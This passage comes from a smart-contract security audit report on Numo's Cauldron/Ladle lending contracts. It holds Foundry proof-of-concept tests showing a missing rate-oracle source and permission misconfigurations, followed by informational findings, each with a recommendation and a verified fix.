        // ================ 2a. Pour reverts due to incorrect decimal precision scaling
        ↪  ================
        vm.expectRevert("Undercollateralized");
        LADLE.pour(VAULT_ID, OWNER, int128(uint128(10e6)), int128(uint128(600e18)));

        // ================ 2b. Etch a new version of the oracle which scales decimals
        ↪  correctly ================
        // i.e. manually change L226 to the following and recompile: value = (amount *
        ↪  invertedRate) / 1e6;
        vm.etch(address(SPOT_ORACLE), address(new MentoSpotOracle(SORTED_ORACLES)).code);

        // ================ 3a. Pour reverts due to missing auth ================
        vm.expectRevert("Access denied");
        LADLE.pour(VAULT_ID, OWNER, int128(uint128(10e6)), int128(uint128(600e18)));

        // ================ 3b. Make sure to grant Ladle the necessary permissions
        ↪  ================
        FY_CKES.grantRole(FY_CKES.mint.selector, address(LADLE));
        LADLE.pour(VAULT_ID, OWNER, int128(uint128(10e6)), int128(uint128(600e18)));

        // Verify the vault state
        (uint128 art, uint128 ink) = CAULDRON.balances(VAULT_ID);

        console2.log("Vault collateral (ink - USDT):", ink);
        console2.log("Vault debt (art - cKES):", art);

        assertEq(ink, 10e6, "Incorrect collateral amount");
        assertEq(art, 600e18, "Incorrect debt amount");

        // Check fyToken balance (debt tokens minted)
        assertEq(FY_CKES.balanceOf(OWNER), 600e18, "Incorrect fyToken balance");
        console2.log("FYcKES balance:", FY_CKES.balanceOf(OWNER));
    }
}
```

Recommendation: Ensure that the `Ladle` is granted the necessary permissions to perform the intended privileged actions that allow users to interact with the `Cauldron` and mint/burn fyKESm.

Numo: Fixed in commit 27a00f2.

Cantina Managed: Verified. `Ladle` permissions are now explicitly tested once granted.

3.2.6 Missing rate oracle source causes `_level()` to revert

Severity: Low Risk

Context: Cauldron.sol#L434, Cauldron.sol#L478-L481, AccumulatorMultiOracle.sol#L113-L114

Description: Whenever `_mature()` is executed upon maturity of the fyKESm bond, the rate oracle is

queried by the `Cauldron` to obtain the instantaneous lending rate. However, if a `"RATE"` source is not configured for the specified base asset (KESm) of the given series then execution will revert, temporarily disabling core vault functionality.

Proof of Concept:

```
pragma solidity >=0.8.13;

import {AccumulatorMultiOracle} from
↪  "src/oracles/accumulator/AccumulatorMultiOracle.sol";
import {Cauldron} from "src/Cauldron.sol";
import {FYToken} from "src/FYToken.sol";
import {ISortedOracles} from "src/oracles/mento/ISortedOracles.sol";
import {Join} from "src/Join.sol";
import {Ladle} from "src/Ladle.sol";
import {MentoSpotOracle} from "src/oracles/mento/MentoSpotOracle.sol";

import {IERC20} from "@yield-protocol/utils-v2/src/token/IERC20.sol";
import {console2} from "forge-std/src/console2.sol";
import {Test} from "forge-std/src/Test.sol";

contract AuditTest is Test {
    address public constant USDT_TOKEN = 0x48065fbBE25f71C9282ddf5e1cD6D6A887483D5e;
    address public constant CKES_TOKEN = 0x456a3D042C0DbD3db53D5489e98dFb038553B0d0;

    ISortedOracles public constant SORTED_ORACLES =
    ↪  ISortedOracles(0xefB84935239dAcdecF7c5bA76d8dE40b077B7b33);
    MentoSpotOracle public constant SPOT_ORACLE =
    ↪  MentoSpotOracle(0xe75c636C4440FA87bB6b3eae6f49a39C15a29F33);
    address public constant RATE_ORACLE = 0x3B240DEB94399704095c7c9c9bC5ab2FdBbCb7CE;
    address public constant KES_USD_FEED = 0xbAcEE37d31b9f022Ef5d232B9fD53F05a531c169;

    Cauldron public constant CAULDRON =
    ↪  Cauldron(0xDD3aF9Ba14bFE164946A898CFB42433D201f5f01);
    Ladle public constant LADLE =
    ↪  Ladle(payable(0xF6E0Dc52aa8BF16B908b1bA747a0591c5ad35E2E));
    Join public constant USDT_JOIN = Join(0xB493EE06Ee728F468B1d74fB2B335E42BB1B3E27);
    Join public constant CKES_JOIN = Join(0x075d4302978Ff779624859E98129E8b166e7DbC0);
    FYToken public constant FY_CKES =
    ↪  FYToken(0x65AF06b9a00Ac6865CB4f68a543943Aa8504Cdf1);

    bytes6 public constant CKES_ID = 0x634B45530000; // "cKES"
    bytes6 public constant USDT_ID = 0x555344540000; // "USDT"
    bytes6 public constant SERIES_ID = 0x323641505200;

    uint32 constant CKES_COLLATERAL_RATIO = 2000000; // 200% (higher due to volatility)

    uint256 public constant MAX_AGE = 3600;

    bytes12 public constant VAULT_ID = bytes12(keccak256("VAULT_1"));

    address public constant OWNER = 0xC7bE60b228b997c23094DdfdD71e22E2DE6C9310;

    function setUp() external {
        vm.createSelectFork("wss://celo.drpc.org", 54529831);
    }

    function test_lendingRate() external {
        vm.startPrank(OWNER);

        // Build a vault
        CAULDRON.grantRole(CAULDRON.build.selector, OWNER);
        CAULDRON.build(OWNER, VAULT_ID, SERIES_ID, USDT_ID);

        // Get some tokens for testing
        // Deal USDT tokens to OWNER (this is what we'll deposit as collateral)
```

```
deal(USDT_TOKEN, OWNER, 10e6); // 10 USDT with 6 decimals

// Deal cKES to the join (this is what will be borrowed)
deal(CKES_TOKEN, address(CKES_JOIN), 1000e18); // 1000 cKES available to borrow

// Manually update join's stored balance to reflect the dealt tokens
// (In production, tokens would come through proper join() calls)
vm.store(
    address(CKES_JOIN),
    bytes32(uint256(1)), // storedBalance is at slot 1
    bytes32(uint256(1000e18))
);

// Approve tokens
IERC20(USDT_TOKEN).approve(address(USDT_JOIN), type(uint256).max);

// Pour: deposit 10 USDT (10e6) collateral and borrow 600 cKES (600e18)
// At 1 USDT = 128.95 cKES, 10 USDT = 1289.5 cKES collateral value
// At 200% ratio: max borrow = 1289.5 / 2 = 644.75 cKES
// Borrowing 600 cKES to be safe

// ================ 1a. Pour reverts due to missing source (it's reversed)
↪  ================
vm.expectRevert("Source not found");
LADLE.pour(VAULT_ID, OWNER, int128(uint128(10e6)), int128(uint128(600e18)));

// ================ 1b. Correctly set oracle source ================
// also increase max age to avoid reverts due to stale price
SPOT_ORACLE.setSource(USDT_ID, CKES_ID, KES_USD_FEED, type(uint256).max);

// ================ 2a. Pour reverts due to incorrect decimal precision scaling
↪  ================
vm.expectRevert("Undercollateralized");
LADLE.pour(VAULT_ID, OWNER, int128(uint128(10e6)), int128(uint128(600e18)));

// ================ 2b. Etch a new version of the oracle which scales decimals
↪  correctly ================
// i.e. manually change L226 to the following and recompile: value = (amount *
↪  invertedRate) / 1e6;
vm.etch(address(SPOT_ORACLE), address(new MentoSpotOracle(SORTED_ORACLES)).code);

// ================ 3a. Pour reverts due to missing auth ================
vm.expectRevert("Access denied");
LADLE.pour(VAULT_ID, OWNER, int128(uint128(10e6)), int128(uint128(600e18)));

// ================ 3b. Make sure to grant Ladle the necessary permissions
↪  ================
FY_CKES.grantRole(FY_CKES.mint.selector, address(LADLE));
LADLE.pour(VAULT_ID, OWNER, int128(uint128(10e6)), int128(uint128(600e18)));

// Verify the vault state
(uint128 art, uint128 ink) = CAULDRON.balances(VAULT_ID);

console2.log("Vault collateral (ink - USDT):", ink);
console2.log("Vault debt (art - cKES):", art);

assertEq(ink, 10e6, "Incorrect collateral amount");
assertEq(art, 600e18, "Incorrect debt amount");

// Check fyToken balance (debt tokens minted)
assertEq(FY_CKES.balanceOf(OWNER), 600e18, "Incorrect fyToken balance");
console2.log("FYcKES balance:", FY_CKES.balanceOf(OWNER));

// Test vault collateralization level
console2.log("=== Testing Vault Level (Collateralization) ===");
```

```
// Check level before maturity
int256 levelBeforeMaturity = CAULDRON.level(VAULT_ID);
console2.log("Vault level before maturity (in cKES):",
↪  uint256(levelBeforeMaturity));
assertGe(levelBeforeMaturity, 0, "Vault should be collateralized");

// Fast forward time to maturity
vm.warp(FY_CKES.maturity());
console2.log("Time moved to maturity");

// ================ 4a. Check level at maturity reverts due to missing source
↪  ================
vm.expectRevert("Source not found");
CAULDRON.level(VAULT_ID);

// Set up accumulator oracle for rate and chi tracking
AccumulatorMultiOracle(RATE_ORACLE).grantRole(AccumulatorMultiOracle.setSource.s
↪  elector, OWNER);

// ================ 4b. Set up RATE source (for lending rate tracking in
↪  Cauldron) ================
// 1e18 constant and a per-second rate that gives 0% APY (it's a zero coupon
↪  bond)
AccumulatorMultiOracle(RATE_ORACLE).setSource(CKES_ID, bytes6("RATE"), 1e18,
↪  1e18);

// Set up CHI source (for interest accrual in FYToken)
// This is already configured with startRate = 1e18 and perSecondRate = 1e18,
// meaning fyToken should not increase in redemption value after maturity as
↪  shown below

int256 levelAtMaturity = CAULDRON.level(VAULT_ID);
console2.log("Vault level after maturity (in cKES):", uint256(levelAtMaturity));
assertGe(levelAtMaturity, 0, "Vault should still be collateralized after
↪  maturity");

// The level will change depending on the value of the underlying USD/cKES rate
↪  at maturity
if (levelBeforeMaturity > levelAtMaturity) {
    console2.log("Level decreased by:", uint256(levelBeforeMaturity -
    ↪  levelAtMaturity));
}

// Also call accrual to show the interest rate
uint256 accrualAtMaturity = CAULDRON.accrual(SERIES_ID);
uint256 debtAtMaturity = art * accrualAtMaturity / 1e18;
console2.log("Accrual rate at maturity:", accrualAtMaturity);
console2.log("Original debt (cKES):", art);
console2.log("Accrued debt at maturity (cKES):", debtAtMaturity);

// Fast forward time to 90 days after maturity
vm.warp(FY_CKES.maturity() + 90 days); // Move 90 days past maturity
console2.log("Time moved to 90 days after maturity");

int256 levelAfterMaturity = CAULDRON.level(VAULT_ID);
console2.log("Vault level after maturity (in cKES):",
↪  uint256(levelAfterMaturity));
assertGe(levelAfterMaturity, 0, "Vault should still be collateralized after
↪  maturity");

// Also call accrual to show the interest rate
uint256 accrualAfterMaturity = CAULDRON.accrual(SERIES_ID);
uint256 debtAfterMaturity = art * accrualAtMaturity / 1e18;
console2.log("Accrual rate after maturity:", accrualAfterMaturity);
console2.log("Original debt (cKES):", art);
console2.log("Accrued debt after maturity (cKES):", debtAfterMaturity);
```

```
        assertEq(accrualAtMaturity, accrualAfterMaturity, "Lending rate accrual in USDT
        ↪  should be zero");
        assertEq(debtAtMaturity, debtAfterMaturity, "Chi accrual in fyKESm should be
        ↪  zero");

        vm.stopPrank();
    }
}
```

Recommendation: Ensure that a `"RATE"` source is set up within the `AccumulatorMultiOracle` rate oracle to avoid reverting upon maturity.

Numo: Fixed in commit 4b75b2e.

Cantina Managed: Verified. The presence of a rate source is now required when adding a series and setting a lending oracle.

3.3 Informational

3.3.1 Unnecessary parentheses in contract inheritance declaration

Severity: Informational

Context: Cauldron.sol#L19

Description: The Cauldron contract uses parentheses when inheriting from `AccessControl`:

```
contract Cauldron is AccessControl(), Constants {
```

While this syntax is silently accepted by older Solidity compilers and does not cause functional issues when the parent contract has no constructor parameters, it represents inconsistent and non-standard inheritance syntax.

Recommendation: Remove the empty parentheses from the inheritance declaration to follow modern Solidity best practices and improve code consistency:

```
- contract Cauldron is AccessControl(), Constants {
+ contract Cauldron is AccessControl, Constants {
```

Numo: Fixed in commit 2052798.

Cantina Managed: Verified.

3.3.2 Incorrect decimals scaling comment in `_peek()` inversion documentation

Severity: Informational

Context: MentoSpotOracle.sol#L163

Description: The `_peek()` function documentation is misleading as the logic is not implemented as suggested by the comments. Specifically, step 2 would truncate 6 digits of precision before performing the inversion.

Recommendation: Remove the incorrect comment.

```
   * @dev INVERSION LOGIC:
   *      1. Fetch Mento rate: USD per KES (1e24)
-  *      2. Convert to 1e18: rate18 = mentoRate / 1e6
-  *      3. Invert: cKES_per_USD = 1e42 / mentoRate
-  *      4. Apply to amount: value = (amount * cKES_per_USD) / 1e18
+  *      2. Invert: cKES_per_USD = 1e42 / mentoRate
+  *      3. Apply to amount: value = (amount * cKES_per_USD) / 1e18
   */
```

Numo: Fixed in commit 4af5003.

Cantina Managed: Verified.

3.3.3 Incorrect return data

Severity: Informational

Context: Cauldron.sol#L404

Description: In `roll()`, the `vault_` memory struct is loaded at line 387 but is never updated after `_tweak()` modifies the vault's series in storage at line 396. The return value from `_tweak()` is also ignored. As a result, line 404 returns `vault_` with a stale `seriesId`.

Recommendation: Capture the return value from `_tweak()`:

```
updatedVault_ = _tweak(vaultId, newSeriesId, vault_.ilkId);
```

Numo: Fixed in commit 0bfc917.

Cantina Managed: Verified.

3.3.4 Increase test coverage

Severity: Informational

Context: *(No context files were provided by the reviewer)*

Description: The Mento oracle integration (`MentoSpotOracle.sol`) lacks comprehensive integration test coverage, creating a significant risk of undetected bugs in production.

The oracle performs critical price inversion logic (converting USD/KES to cKES/USD) and handles collateral valuation for the entire protocol, yet the current test suite is inadequate.

Recommendation: Add to test coverage, ensuring all execution paths are covered for the newly integrated oracle.

Numo: Fixed in commit 27c30e3.

Cantina Managed: Verified. Test have been added.